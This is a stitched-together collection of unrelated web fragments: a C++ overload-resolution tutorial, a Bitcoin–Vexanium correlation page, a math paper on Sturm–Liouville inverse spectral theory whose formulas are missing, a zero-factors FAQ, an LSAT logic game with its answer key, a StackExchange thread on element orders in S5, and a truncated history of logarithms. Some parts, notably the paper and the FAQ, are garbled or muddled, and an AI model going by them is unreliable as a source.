x);\nvoid f(long double x);\nf(3.14); // ambiguous\n\nvoid g(long x);\nvoid g(long double x);\ng(42); // ambiguous\ng(3.14); // ambiguous\n\n``````\n\nTherefore, in order to ensure that there will be no ambiguity when calling a function `f` with either integral or floating-point arguments of any standard type, a total of eight overloads are needed, so that for each possible argument type, either an overload matches exactly or the unique overload with the promoted argument type will be selected.\n\n``````void f(int x);\nvoid f(unsigned int x);\nvoid f(long x);\nvoid f(unsigned long x);\nvoid f(long long x);\nvoid f(unsigned long long x);\nvoid f(double x);\nvoid f(long double x);\n\n``````\n\nPassing a pointer argument to a `T*` parameter, if possible, is better than passing it to a `const T*` parameter.\n\n``````struct Base {};\nstruct Derived : Base {};\nvoid f(Base* pb);\nvoid f(const Base* pb);\nvoid f(const Derived* pd);\nvoid f(bool b);\n\nBase b;\nf(&b); // f(Base*) is better than f(const Base*)\nDerived d;\nf(&d); // f(const Derived*) is better than f(Base*) though;\n// constness is only a \"tie-breaker\" rule\n\n``````\n\nLikewise, passing an argument to a `T&` parameter, if possible, is better than passing it to a `const T&` parameter, even if both have exact match rank.\n\n``````void f(int& r);\nvoid f(const int& r);\nint x;\nf(x); // both overloads match exactly, but f(int&) is still better\nconst int y = 42;\nf(y); // only f(const int&) is viable\n\n``````\n\nThis rule applies to const-qualified member functions as well, where it is important for allowing mutable access to non-const objects and immutable access to const objects.\n\n``````class IntVector {\npublic:\n// ...\nint* data() { return m_data; }\nconst int* data() const { return m_data; }\nprivate:\n// ...\nint* m_data;\n};\nIntVector v1;\nint* data1 = v1.data(); // Vector::data() is better than Vector::data() const;\n// data1 can be used to modify the vector's data\nconst IntVector v2;\nconst int* data2 = v2.data(); // only Vector::data() const is viable;\n// data2 can't be used to modify the vector's data\n\n``````\n\nIn the same way, a volatile overload will be less preferred than a non-volatile overload.\n\n``````class AtomicInt {\npublic:\n// ...\nprivate:\n// ...\n};\nAtomicInt a1;\nvolatile AtomicInt a2;\nstatic_cast<volatile AtomicInt&>(a1).load(); // force volatile semantics for a1\n\n``````\n\n## # Steps of Overload Resolution\n\nThe steps of overload resolution are:\n\n• Find candidate functions via name lookup. Unqualified calls will perform both regular unqualified lookup as well as argument-dependent lookup (if applicable).\n• Filter the set of candidate functions to a set of **viable** functions. A viable function for which there exists an implicit conversion sequence between the arguments the function is called with and the parameters the function takes.\n``````void f(char); // (1)\nvoid f(int ) = delete; // (2)\nvoid f(); // (3)\nvoid f(int& ); // (4)\n\nf(4); // 1,2 are viable (even though 2 is deleted!)\n// 3 is not viable because the argument lists don't match\n// 4 is not viable because we cannot bind a temporary to\n// a non-const lvalue reference\n\n``````\n• Pick the best viable candidate. A viable function `F1` is a better function than another viable function `F2` if the implicit conversion sequence for each argument in `F1` is not worse than the corresponding implicit conversion sequence in `F2`, and...: 3.1. For some argument, the implicit conversion sequence for that argument in `F1` is a better conversion sequence than for that argument in `F2`, or\n``````void f(int ); // (1)\nvoid f(char ); // (2)\n\nf(4); // call (1), better conversion sequence\n\n``````\n\n3.2. In a user-defined conversion, the standard conversion sequence from the return of `F1` to the destination type is a better conversion sequence than that of the return type of `F2`, or\n\n``````struct A\n{\noperator int();\noperator double();\n} a;\n\nint i = a; // a.operator int() is better than a.operator double() and a conversion\nfloat f = a; // ambiguous\n\n``````\n\n3.3. In a direct reference binding, `F1` has the same kind of reference by `F2` is not, or\n\n``````struct A\n{\noperator X&(); // #1\noperator X&&(); // #2\n};\nA a;\nX& lx = a; // calls #1\nX&& rx = a; // calls #2\n\n``````\n\n3.4. `F1` is not a function template specialization, but `F2` is, or\n\n``````template <class T> void f(T ); // #1\nvoid f(int ); // #2\n\nf(42); // calls #2, the non-template\n\n``````\n\n3.5. `F1` and `F2` are both function template specializations, but `F1` is more specialized than `F2`.\n\n``````template <class T> void f(T ); // #1\ntemplate <class T> void f(T* ); // #2\n\nint* p;\nf(p); // calls #2, more specialized\n\n``````\n• The ordering here is significant. The better conversion sequence check happens before the template vs non-template check. This leads to a common error with overloading on forwarding reference:\n\n``````struct A {\nA(A const& ); // #1\n\ntemplate <class T>\nA(T&& ); // #2, not constrained\n};\n\nA a;\nA b(a); // calls #2!\n// #1 is not a template but #2 resolves to\n// A(A& ), which is a less cv-qualified reference than #1\n// which makes it a better implicit conversion sequence\n\n``````\n\nIf there's no single best viable candidate at the end, the call is ambiguous:\n\n``````void f(double ) { }\nvoid f(float ) { }\n\nf(42); // error: ambiguous\n\n``````\n\nThe following examples will use this class hierarchy:\n\n``````struct A { int m; };\nstruct B : A {};\nstruct C : B {};\n\n``````\n\nThe conversion from derived class type to base class type is preferred to user-defined conversions. This applies when passing by value or by reference, as well as when converting pointer-to-derived to pointer-to-base.\n\n``````struct Unrelated {\nUnrelated(B b);\n};\nvoid f(A a);\nvoid f(Unrelated u);\nB b;\nf(b); // calls f(A)\n\n``````\n\nA pointer conversion from derived class to base class is also better than conversion to `void*`.\n\n``````void f(A* p);\nvoid f(void* p);\nB b;\nf(&b); // calls f(A*)\n\n``````\n\nIf there are multiple overloads within the same chain of inheritance, the most derived base class overload is preferred. This is based on a similar principle as virtual dispatch: the \"most specialized\" implementation is chosen. However, overload resolution always occurs at compile time and will never implicitly down-cast.\n\n``````void f(const A& a);\nvoid f(const B& b);\nC c;\nf(c); // calls f(const B&)\nB b;\nA& r = b;\nf(r); // calls f(const A&); the f(const B&) overload is not viable\n\n``````\n\nFor pointers to members, which are contravariant with respect to the class, a similar rule applies in the opposite direction: the least derived derived class is preferred.\n\n``````void f(int B::*p);\nvoid f(int C::*p);\nint A::*p = &A::m;\nf(p); // calls f(int B::*)\n\n``````\n\n#### # Remarks\n\nOverload resolution happens in several different situations\n\n• Calls to named overloaded functions. The candidates are all the functions found by name lookup.\n• Calls to class object. The candidates are usually all the overloaded function call operators of the class.\n• Use of an operator. The candidates are the overloaded operator functions at namespace scope, the overloaded operator functions in the left class object (if any) and the built-in operators.\n• Overload resolution to find the correct conversion operator function or constructor to invoke for an initialization\n• For non-list direct initialization (`Class c(value)`), the candidates are constructors of `Class`.\n• For non-list copy initialization (`Class c = value`) and for finding the user defined conversion function to invoke in a user defined conversion sequence. The candidates are the constructors of `Class` and if the source is a class object, its conversion operator functions.\n• For initialization of a non-class from a class object (`Nonclass c = classObject`). The candidates are the conversion operator functions of the initializer object.\n• For initializing a reference with a class object (`R &r = classObject`), when the class has conversion operator functions that yield values that can be bound directly to `r`. The candidates are such conversion operator functions.\n• For list-initialization of a non-aggregate class object (`Class c{1, 2, 3}`), the candidates are the initializer list constructors for a first pass through overload resolution. If this doesn't find a viable candidate, a second pass through overload resolution is done, with the constructors of `Class` as candidates." ]

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[ "", null, "⟷", null, "Correlation\n\n-0.06\n\nInfluence\n\n0.36%\n\n# Bitcoin and Vexanium Correlation\n\nDoes Vexanium depend on Bitcoin? According to the correlation analysis, BTC and VEX have no or negligible relationship. The correlation coefficient of their values is -0.06, which was computed based on the last 100-days' price dynamics of both currencies.\n\nThis coefficient may change from -1 to 1, where -1 is the strongest negative correlation, 0 is no correlation at all and 1 is the strongest positive correlation.\n\nThe negative coefficient indicates that the prices of the assets are moving in the contrary direction while the positive coefficient means that the prices are moving in the same trend. For instance, if Bitcoin and Vexanium connection is positively strong, it means that when BTC is growing VEX will rise as well. The negative strong relation will tell that when BTC is growing VEX value will be in opposite lowering.\n\nThe knowledge of the correlation coefficient helps to compute in percentage the influence of Bitcoin over Vexanium. If we take all the aspects affecting the price of VEX as 100%, then the share of BTC price among these factors will be 0.36%. The other part which is 99.64% covers all the other factors, such as media, technological releases or regulations." ]

[ null, "https://coinpredictor.io/images/icons/1182.png", null, "https://coinpredictor.io/images/icons/926392.png", null ]

[ "Inverse Spectral Theory for a Singular Sturm Liouville Operator with Coulomb Potential\n\nAbstract\n\nWe consider the inverse spectral problem for a singular Sturm-Liouville operator with Coulomb potential. In this paper, we give an asymptotic formula and some properties for this problem by using methods of Trubowitz and Poschel.\n\nShare and Cite:\n\nPanakhov, E. and Ulusoy, I. (2016) Inverse Spectral Theory for a Singular Sturm Liouville Operator with Coulomb Potential. Advances in Pure Mathematics, 6, 41-49. doi: 10.4236/apm.2016.61005.\n\nReceived 21 September 2015; accepted 18 January 2016; published 21 January 2016", null, "1. Introduction\n\nThe Sturm-Liouville equation is a second order linear ordinary differential equation of the form", null, "(1.1)\n\nfor some", null, "and", null, ". It was first introduced in an 1837 publication by the eminent French mathematicians Joseph Liouville and Jacques Charles François Sturm. The Sturm-Liouville Equation (1.1) can easily be reduced to form", null, "(1.2)\n\nIf we assume that p(x) has a continuous first derivative, and p(x), r(x) have a continuous second derivative, then by means of the substitutions", null, "where c is given by", null, "Equation (1.1) assumes the form (1.2) replaced by", null, "; where", null, "The transformation of the general second order equation to canonical form and the asymptotic formulas for the eigenvalues and eigenfunctions was given by Liouville. A deep study of the distribution of the zeros of eigenfunctions was done by Sturm. Firstly, the formula for the distribution of the eigenvalues of the single dimensional Sturm operator defined in the whole of the straight-line axis with increasing potential in the infinity was given by Titchmarsh in 1946 . Titchmarsh also showed the distribution formula for the Schrödinger Operator. In later years, Levitan improved the Titchmarsh’s method and found important asymptotic formula for the eigenvalues of different differential operators . Sturm-Liouville problems with a singularity at zero have various versions. The best known case is the one studied by Amirov , in which the potential has a Coulomb-type singularity", null, "at the origin. In these works, properties of spectral characteristic were studied for Sturm-Liouville operators with Coulomb potential, which have discontinuity conditions inside a finite interval. Panakhov and Sat estimated nodal points and nodal lengths for the Sturm-Liouville operators with Coulomb potential - . Basand Metin defined a fractional singular Sturm-Liouville operator having Coulomb potential of type A/x .\n\nLet’s give some fundamental physical properties of the Sturm-Liouville operator with Coulomb potential. Learning about the motion of electrons moving under the Coulomb potential is of significance in quantum theory. Solving these types of problems provides us with finding energy levels of not only hydrogen atom but\n\nalso single valance electron atoms such as sodium. For the Coulomb potential is given by", null, ", where r\n\nis the radius of the nucleus, e is electronic charge. According to this, we use time-dependent Schrödinger equation", null, "where", null, "is the wave function, h is Planck’s constant and m is the mass of electron.\n\nIn this equation, if the Fourier transform is applied", null, "it will convert to energy equation dependent on the situation as follows:", null, "Therefore, energy equation in the field with Coulomb potential becomes", null, "If this hydrogen atom is substituted to other potential area, then energy equation becomes\n\nIf we make the necessary transformation, then we can get a Sturm-Liouville equation with Coulomb potential\n\nwhere is a parameter which corresponds to the energy .\n\nOur aim here is to find asymptotic formulas for singular Sturm-Liouville operatör with Coulomb potential with domain\n\n~\n\nAlso, we give the normalizing eigenfunctions and spectral functions.\n\n2. Basic Properties\n\nWe consider the singular Sturm-Liouville problem\n\n(2.1)\n\nwhere the function. Let us denote by the solution of (2.1) satisfying the initial condition\n\n(2.2)\n\nand by the solution of same equation, satisfying the initial condition\n\n(2.3)\n\nLemma 1. The solution of problem (2.1) and (2.2) has the following form:\n\n(2.4)\n\nwhere.\n\nProof. Since satisfies Equation (2.1), we have\n\nIntegrating the first integral on the right side by parts twice and taking the conditions (2.2) into account, we find that\n\nwhich is (2.4).\n\nLemma 2. The solution of problem (2.1) and (2.3) has the following form:\n\n(2.5)\n\nProof. The proof is the same as that of Lemma 1.\n\nNow we give some estimates of and which will be used later. For each fixed x in [0, 1] the map is an entire function on which is real-valued on . Using the estimate\n\nwe get\n\nSince and\n\nwe have\n\n(2.6)\n\nFrom (2.6) the inequality is easily checked\n\n(2.7)\n\nwhere c is uniform with respect to q on bounded sets in.\n\nLemma 3 (Counting Lemma). Let and be an integer. Then has exactly N roots, counted with multiplicities, in the open half plane\n\nand for each, exactly one simple root in the egg shaped region\n\nThere are no other roots.\n\nFrom this Lemma there exists an integer N such that for every there is only one eigenvalue in Thus for every\n\n(2.8)\n\ncan be chosen independent of q on bounded sets of. Following theorem shows that the eigenvalues are the zeroes of the map and these zeroes are simple.\n\nTheorem 1. If is Dirichlet eigenvalue of q in, then\n\nIn particular,. Thus, all roots of are simple.\n\nProof. The proof is similar as that of ( , Pöschel and Trubowitz).\n\n3. Asymptotic Formula\n\nWe need the following lemma for proving the main result.\n\nLemma 4. For every f in,\n\n(3.1)\n\nand\n\n. (3.2)\n\nProof. Firstly, we shall prove the relation (3.1)\n\n(3.3)\n\nBy the Cauchy-Schwarz inequality, we get\n\n.\n\nSince f is in, the last two integrals are equal to\n\nSo (3.3) is equivalent to\n\n.\n\nFinally, we shall prove the relation (3.2)\n\nThis proves the lemma.\n\nTheorem 2. For,\n\n.\n\nProof of the Main Theorem. Since it must be. Because is a nontrivial solution of Equation (2.1) satisfying Dirichlet boundary conditions, we have\n\n(3.4)\n\nFrom (2.7) someone gets the inequality\n\n(3.5)\n\nFrom (3.5) integral in the equation of (3.4) takes the form\n\nBy using difference formulas for sine we have\n\nFrom Lemma 4 we get\n\nThus, by using this inequality (3.4) can be written in the form\n\n(3.6)\n\nFrom (2.8) we conclude that\n\n(3.7)\n\nSince and, (3.7) is equivalent to\n\n.\n\nSo we get\n\n. (3.8)\n\nFrom (2.8) we have\n\nIn this case, the theorem is proved.\n\nFrom this theorem, the map\n\nfrom q to its sequences of Dirichlet eigenvalues sends into S. Later, we need this map to characterize spectra which is equivalent to determining the image of.\n\n4. Inverse Spectral Theory\n\nTo each eigenvalue we associate a unique eigenfunction normalized by\n\nLet’s define the normalizing eigenfunction:\n\nLemma 5. For,\n\nThis estimate holds uniformly on bounded subsets of.\n\nProof. Let and. By the basic estimate for,\n\nBy using this estimate we have\n\nSo we get\n\nThus we conclude that\n\nDividing by we get\n\n.\n\nAlso, we need to have asymptotic estimates of the squares of the eigenfunctions and products\n\nLemma 6. For,\n\nThis estimate holds uniformly on bounded subsets of.\n\nProof. We know that\n\nBy the basic estimate for, we have\n\nHence,\n\nLet\n\n.\n\nThe map is real analytic on. Now we give asymptotic behavior for.\n\nTheorem 3. Each is a compact, real analytic function on with\n\n(4.1)\n\n(4.2)\n\nThe error terms are uniform on bounded subsets of.\n\nProof. From we have\n\nSo we calculate the integral\n\nFinally, since, we get\n\n(4.3)\n\nBy the Cauchy-Schwarz inequality, we prove the theorem.\n\nLet\n\nFormula (4.3) shows that belongs to. By Theorem 3, the map\n\nfrom q to its sequences of -values maps into the. So we obtain a map\n\nfrom into the.\n\nTheorem 4. is one-to-one on.\n\nLet be the Frechet derivative of the map at q.\n\nTheorem 5. is an isomorphism from onto.\n\nConflicts of Interest\n\nThe authors declare no conflicts of interest.\n\n Sturm, C. and Liouville, J. (1837) Extrait d.un m emoire sur le d eveloppement des fonctions en series dont les di erents terms sont assujettis a satisfaire a une m eme equation di er entielle lin eaire, contenant un param etre variable. Journal de Math ematiques Pures et Appliqu ees. Journal de Mathématiques Pures et Appliquées, 2, 220-233. Birkhoff, G.D. (1908) Boundary Value and Expansion Problems of Ordinary Linear Differential Equations. Transactions of the American Mathematical Society, 9, 219-231. http://dx.doi.org/10.1090/S0002-9947-1908-1500810-1 Titchmarsh, E.C. (1946) Eigenfunction Expansions Associated with Second-Order Differential Equations. Vol. 1, Clarendon Press, Oxford. Titchmarsh, E.C. (1958) Eigenfunction Expansions Associated with Second-Order Differential Equations. Vol. 2, Clarendon Press, Oxford. Levitan, B.M. (1978) On the Determination of the Sturm-Liouville Operator from One and Two Spectra. Mathematics of the USSR Izvestija, 12, 179-193. http://dx.doi.org/10.1070/IM1978v012n01ABEH001844 Amirov, R.Kh. (1985) Inverse Problem for the Sturm-Liouville Equation with Coulomb Singularity Its Spectra. Kand. Dissertasiya, Baku. Topsakal, N. and Amirov, R. (2010) Inverse Problem for Sturm-Liouville Operators with Coulomb Potential Which Have Discontinuity Conditions inside an Interval. Mathematical Physics, Analysis and Geometry, 13, 29-46.http://dx.doi.org/10.1007/s11040-009-9066-y Sat, M. and Panakhov, E.S. (2012) Inverse Nodal Problem for Sturm-Liouville Operators with Coulomb Potential. International Journal of Pure and Applied Mathematics, 80, 173-180. Sat, M. and Panakhov, E.S. (2013) Reconstruction of Potential Function for Sturm-Liouville Operator with Coulomb Potential. Boundary Value Problems, 2013, Article 49. Sat, M. (2014) Half Inverse Problem for the Sturm-Liouville Operator with Coulomb Potential. Applied Mathematics and Information Sciences, 8, 501-504. http://dx.doi.org/10.12785/amis/080207 Bas, E. and Metin, F. (2013) Fractional Singular Sturm-Liouville Operator for Coulomb Potential. Advances in Difference Equations, Article ID: 300. http://dx.doi.org/10.1186/1687-1847-2013-300 Blohincev, D.I. (1949) Foundations of Quantum Mechanics. GITTL, Moscow. Poeschel, J. and Trubowitz, E. (1987) Inverse Spectral Theory. Academic Press, San Diego. Guillot, J.-C. and Ralston, J.V. (1988) Inverse Spectral Theory for a Singular Sturm-Liouville Operatör on [0,1]. Journal of Differential Equations, 76, 353-373. http://dx.doi.org/10.1016/0022-0396(88)90080-0", null, "", null, "", null, "", null, "", null, "", null, "", null, "", null, "", null, "", null, "" ]

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[ "", null, "# Does Zero Have Any Factors?\n\n## Does 0 have any factors?\n\nAll natural numbers divide evenly into zero, so the set should be the set of natural numbers.\n\nBut each natural number would need to be multiplied by zero in order to produce zero, so zero should be included in the set of factors..\n\n## Is zero divisible by any number?\n\nNote: Zero is divisible by any number (except by itself), so gets a “yes” to all these tests. A quick check (useful for small numbers) is to halve the number twice and the result is still a whole number.\n\n## What is the smallest factor of 0?\n\nAnswer. Answer: So, 7, 17, 93, ……, etc., are the factors of 0. Property (3): 1 is the smallest factor of a multiple and the greatest factor of a multiple is the multiple itself.\n\n## What are multiples of 5?\n\nThe multiples of 5 are: 5,10,15,20,25,30,35,40,45,50,…\n\n## Is 1 considered a factor?\n\nPrime numbers The number 1 only has one factor (itself); therefore, 1 is not a prime number.\n\n## Is 0 A divisor of any number?\n\n1 and -1 divide (are divisors of) every integer, every integer is a divisor of itself, and every integer is a divisor of 0, except by convention 0 itself (see also Division by zero). Numbers divisible by 2 are called even, and numbers not divisible by 2 are called odd.\n\n## How many positive divisors does 0 have?\n\nWhat are divisors of zero (0)? The number 0 has an infinity of divisors, because all the numbers divide 0 and the result is worth 0 (except for 0 itself because the division by 0 does not make sense).\n\n## Is zero a perfect number?\n\nIn this arrangement of redefinition, perfect numbers are the same as in the ancient Greek definition, except for that the zero gets included too as a perfect number, because zero also equals to the sum of its “nontrivial” divisors. … In either case, the sum of its nontrivial divisors is zero, i.e itself.\n\n## Is 0 prime or composite?\n\nSometimes, the term composite number is used in a wider sense to include negative integers; a negative integer is composite if it is the negative of a (positive) composite number. Zero is neither prime nor composite.\n\n## Which is the smallest prime number?\n\nThe first 1000 prime numbers131–202521–40738341–6017919161–8028330714 more rows\n\n## What is the HCF of 16 and 96?\n\nSo the greatest common factor 16 and 96 is 16.\n\n## Which is the smallest factor of 15?\n\nAs we can see 1 is the smallest number. So 1 is the smallest factor of 15.\n\n## Is 3 the smallest prime number?\n\nThe smallest prime numbers are 2, 3, 5, 7, 11, 13, 17, 19 and 23.\n\n## Is 0 a multiple or factor?\n\nAn integer is a multiple of an integer means that : so, as 0 divided by any integer (except zero itself) yields an integer then yes, zero is a multiple of every integer (except zero itself).\n\n## Is there any number that has no factor?\n\nSince every number has two factors i.e. 1 and itself . Hence there are no counting number having no factor at all." ]

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[ "Unplugged Prep\n\nFree LSAT Logic Game | Grouping: Selection (Defined)\n\n# Free LSAT Logic Game | Grouping: Selection (Defined)", null, "My other Grouping: Selection / In-Out Logic Game is “Undefined,” meaning that we didn’t know how many variables were in (voted for) and how many were out (voted against).\n\nThe game I’ve written for this article, on the other hand, is “Defined,” which means that we know exactly how many variables are selected and how many are not selected.\n\n***\n\nHere’s the Logic Game:\n\nFrom among nine topics, a student will select six to debate at a tournament. The topics are organized into three categories. Of the topics, three-A, B, and E-are on politics, three-H, L, and O-are on religion, and three-S, T, and Y-are on war. At least one topic will be selected from each category. The student selects the topics according to the following conditions:\n\nIf S is selected, neither E nor L is selected.\nIf Y is not selected, L is selected.\nAt least one topic on war will not be selected.\n\n1. Which one of the following could be a complete and accurate list of the topics that the student selects?\n\n(A) A, B, E, H, L, O\n(B) A, B, E, H, L, T\n(C) A, B, E, H, O, T\n(D) A, B, E, H, S, Y\n(E) A, B, H, S, T, Y\n\n2. If exactly one of the topics on religion is selected, then which one of the following is a complete and accurate list of the other topics that must also be selected?\n\n(A) A, B, E, T\n(B) A, B, E, H, Y\n(C) A, B, L, T, Y\n(D) A, B, E, S, T\n(E) A, B, E, T, Y\n\n3. Which one of the following must be true?\n\n(A) A is selected.\n(B) E is selected.\n(C) T is selected.\n(D) Of at least one of the three categories of topics, exactly two topics are selected.\n(E) Of at least one of the three categories of topics, exactly three topics are selected.\n\n4. If exactly two topics from each category are selected, then which one of the following must be true?\n\n(A) B is selected.\n(B) H is selected.\n(C) Y is selected.\n(D) L is not selected.\n(E) T is not selected.\n\n5. Each one of the following is a pair of topics that could be among the topics selected EXCEPT:\n\n(A) A, Y\n(B) B, H\n(C) B, O\n(D) S, T\n(E) S, Y\n\n6. Each of the following, if known, would fully determine the selection of the six topics EXCEPT:\n\n(A) B and E are not selected.\n(B) B and T are not selected.\n(C) E and O are not selected.\n(D) L and T are not selected.\n(E) O and Y are not selected.\n\nThe text below contains the answers to the above Logic Game.\n\n1. B\n2. E\n3. D\n4. C\n5. D\n6. D\n\n***\n\n***\n\nFor some LSAC-written Logic Games similar to this one, check out:\n\nPrepTest 24, Section 4, Game 4 (page 213 in 10 More)\nPrepTest 33, Section 4, Game 3 (page 178 in Next 10)\nPrepTest 40, Section 2, Game 2\n\n50%\nComplete\n50%\nComplete\n50%\n\nAlmost there! Please complete this form and click the button below to gain instant access.", null, "## Get my free Easy LSAT Cheat Sheet today.", null, "I hate spam and promise to keep your email address safe." ]

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[ "# Element of Largest Order in $S_n$\n\nWhat is the largest order of an element in the group of permutations of $5$ objects?\n\nLet $\\sigma \\in S_5$ be arbitrary. We know that $\\sigma = \\sigma_1...\\sigma_k$, where the $\\sigma_i$'s are disjoint cycles of some length. We want to maximize $|\\sigma| = lcm(|\\sigma_1|,...,|\\sigma_k|)$, where $|\\sigma_i|$ is the order of the permutation $\\sigma_i$, which is just its length since it is a cycle. If any of the lengths are the same, then the lcm will be the same, so we may take each $\\sigma_i$ to have a different length in our attempt to maximize $|\\sigma|$. This leaves us with four different lengths (I am excluding $1$). Thus $\\sigma = \\sigma_1 ... \\sigma_4$; however, as we shall see, it is not possible for $\\sigma$ to be a product of 4 disjoint cycles if we are maximizing their lengths. If $\\sigma_1$ is a 5-cycle, then none of the 5 numbers will appear in any of the other cycles, and so $\\sigma = \\sigma_1$ which implies $|\\sigma| = 5$. If $\\sigma_1$ is a 4-cycle, then 4 of the 5 numbers appear in it, leaving only number left $\\sigma_1$ and none to ther others. But this would make $\\sigma_2$ and the rest the identity, so that $\\sigma = \\sigma_1$. In this case $|\\sigma| = 4$. Finally, if $\\sigma_1$ is a 3-cycle, then $\\sigma_2$ can have the rest of the numbers which makes it a 2-cycle. In this case, $|\\sigma| = lcm(3,2) = 6$. By symmetry, the rest of the cases are equivalent, and so the maximum value is $6$.\n\nHow does that sound?\n\n• It's correct, but a little lengthy for me. – Bernard Sep 4 '17 at 10:21\n• Your logic appears to be correct. Good job! – JamesDixon Sep 4 '17 at 10:21\n• @Bernard Is it my writing that is lengthy or did I introduce unnecessary steps in my solution? Because if there is a more direct solution, I am interested in knowing it. – user193319 Sep 4 '17 at 10:31\n• For me, it's mainly your writing: some details ore obvious. Also, in $S_5$, if you don't write the $1$-cycles, a permutation is the product of at most two cycles, of orders $2,2$, or $2,3$. This observation should shorten the writing. – Bernard Sep 4 '17 at 10:41\n\nYou could be explicit and argue as follows:\n\nThe partitions of $5$ are \\eqalign{ \\mbox{type} & \\to \\mbox{lcm} \\cr 5 & \\to 5 \\cr 4+1 & \\to 4 \\cr 3+2 & \\to 6 \\ * \\cr 3+1+1 & \\to 3 \\cr 2+2+1 & \\to 2 \\cr 2+1+1+1 & \\to 2 \\cr 1+1+1+1+1 & \\to 1 \\cr }\n\n• Hello, it seems to me that the element of highest order in $S_n$ in the largest partition of $k$ where $k\\leq n$ into relatively prime numbers, is this corret or where may I find information about it, thanks in advance. – muhammad Oct 22 '20 at 0:15\n• @muhammad, not quite. See math.stackexchange.com/questions/1576417/… and en.wikipedia.org/wiki/Landau%27s_function – lhf Oct 22 '20 at 0:37\n• Landau's funcions is more to what I was referring to, in the first link I'm not really sure what \"exponent\" means, for example in $S_5$ the element of largest order is 6, however the formula in the 1st link gives 60, furthermore the bound of $g(n)$ (Landau's function) gives $g(5)\\leq 6.2$, likewise for $S_{10}$, $g(10)\\leq 39.5$ but formula in link 1 gives a number greater than 2000. – muhammad Oct 22 '20 at 16:27\n• So yes, Landau's function is what I was asking for, I'll look up at the references of that wikipedia article, thanks! – muhammad Oct 22 '20 at 16:29\n• Oh don't bother now, so the exponent of $S_n$ in that post is the largest $k$ such that $a^{k}=e$ and $k<n!$. – muhammad Oct 22 '20 at 16:48\n\nLet $\\sigma \\in S_5$ be arbitrary. We know that $\\sigma = \\sigma_1...\\sigma_k$, where the $\\sigma_i$'s are disjoint cycles of some length. We want to maximize $|\\sigma| = lcm(|\\sigma_1|,...,|\\sigma_k|)$, where $|\\sigma_i|$ is the order of the permutation $\\sigma_i$, which is just its length since it is a cycle. If any of the lengths are the same, then the lcm will be the same,\n\nOk so far.\n\nso we may take each $\\sigma_i$ to have a different length in our attempt to maximize $|\\sigma|$.\n\nNot quite: this says that we should only look at partitions of $5$ into distinct parts, but actually we want to only look at the distinct parts in partitions of $5$ (or equivalently, at partitions of integers up to $5$ into distinct parts). You sort-of get away with it for $S_5$, but not necessarily for all symmetric groups.\n\nThis leaves us with four different lengths (I am excluding $1$). Thus $\\sigma = \\sigma_1 ... \\sigma_4$;\n\nHuh? I suppose this could make sense if some of the $\\sigma_i$ are cycles of zero elements, but that's not the standard cycle decomposition.\n\nhowever, as we shall see, it is not possible for $\\sigma$ to be a product of 4 disjoint cycles if we are maximizing their lengths.\n\nIndeed. So it would have been more accurate to say that we only need consider partitions for which $k \\le 4$. But that's just equivalent to saying that we don't need to consider the partition $1^5$ (or equivalently the identity element of the group); it suffices to observe that the identity element has order one, and in any group other than the trivial group all of the other elements have order greater than one.\n\nIf $\\sigma_1$ is a 5-cycle, then none of the 5 numbers will appear in any of the other cycles, and so $\\sigma = \\sigma_1$ which implies $|\\sigma| = 5$.\n\nThis should say that if $\\sigma_1$ is a 5-cycle then $k=1$ so the LCM is just $\\textrm{lcm}(5) = 5$.\n\nIf $\\sigma_1$ is a 4-cycle, then 4 of the 5 numbers appear in it, leaving only number left $\\sigma_1$ and none to ther others. But this would make $\\sigma_2$ and the rest the identity, so that $\\sigma = \\sigma_1$. In this case $|\\sigma| = 4$.\n\nI've just realised that by \"the 5 numbers\" you meant the 5 elements which are permuted. There's an argument to be made that a permutation operates on ordinal numbers in the high-school English sense, moving the ith place to the jth place, but in the interests of clarity it's better to think of a permutation as operating on arbitrary \"elements\", which might be numbers but might not. Actually, the problem statement explictly talks about \"permutations of five objects\", so that's probably the best phrasing to use in your answer.\n\nI can figure out the intended meaning of the first sentence here from the context, but even correcting the spelling, \"leaving only number left $\\sigma_1$ and none to the others\" is not at all clear. What this should say is that if $\\sigma_1$ is a 4-cycle, that uses 4 of the 5 objects, leaving only a 1-cycle as $\\sigma_2$ and forcing $k=2$. Then the order is $\\textrm{lcm}(4, 1) = 4$.\n\nFinally, if $\\sigma_1$ is a 3-cycle, then $\\sigma_2$ can have the rest of the numbers which makes it a 2-cycle. In this case, $|\\sigma| = lcm(3,2) = 6$.\n\nReplace \"numbers\" with \"objects\" and this is better phrased than the earlier cases. But \"Finally\"? You haven't considered partitions as $3+1+1$, $2+2+1$, ...\n\nBy symmetry, the rest of the cases are equivalent, and so the maximum value is $6$.\n\nSymmetry of what? I think that what you mean, and this would have been better stated at the top rather than at the bottom, is that without loss of generality we can assume that $|\\sigma_1| \\ge |\\sigma_2| \\ge \\ldots \\ge |\\sigma_k|$." ]

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[ "", null, "", null, "The English mathematician, Henry Briggs, in 1617, was responsible for the introduction of the so-called common logarithms (with the base 10). This was earlier called Briggsian logarithms. Following the pioneering publication of tables of logarithms by mathematician John Napier, Briggs consulted with him to propose an alternative definition of logarithms using a base of 10. In 1617, shortly after Napier’s death, Briggs published a logarithm table of the first 1000 numbers.\n\nThe beginnings\n\nWhen Napier introduced logarithms, it simplified the task of many astronomers and others who spent much of their time doing tedious numerical computations. His mathematical interests, which were pursued in his spare time from church and state affairs, were in spherical trigonometry and in computation. It is not clear how he stumbled on the idea, but he probably took the hint from the well-known result that the product of two trigonometric expressions (such as two sines) can be found by finding the sum and difference of other expressions (involving cosines). As it is easier to add and subtract than to multiply and divide, these formulae produced a system of relation.\n\nAgain, he perhaps noticed that there exists a simple relationship between successive terms of a geometric progression and the corresponding exponents of the common ratio. He, at first, called the exponent of each power its ‘artificial number’ but later decided on the term logarithm, which means ratio number. The modern definition was introduced by Leonhard Euler, that is, if a number N equals b to the power of L (where b is affixed positive number other than one), then L is the logarithm (to the base b) of N.\n\nAlthough Napier is presumed to have discovered the base E (called Naperian base), this is not true. It turns out that he came close to discovering the number 1/E, that is, the inverse of E. The number E is again universal number like N. It occurs universally in the laws of growth and decay of all physical systems. The mean life (of growth and decay) is defined as the time taken for the system to grow or diminish by a factor of E.\n\nThe concept of a base clearly took shape only with the introduction of ‘common’ (base 10) logarithms by Briggs in 1617. When Briggs met Napier, he proposed two modifications to make Napier’s tables more convenient, that is, to have the logarithm of one equal to zero and after considering many possibilities, Log 10 = 1 = 10 to the power of zero. In modern phrasing, this implies that if a positive number N is written N equals 10 to the power of L, then L is the common logarithm of N, written simply as log N. Thus, the logarithm of one billion is 9, one trillion is 12.\n\nThe words characteristic and mantissa were also suggested by Briggs. Thus, the logarithm of 200 is 2.3010, 2 being the characteristic and 0.3010 the mantissa. The 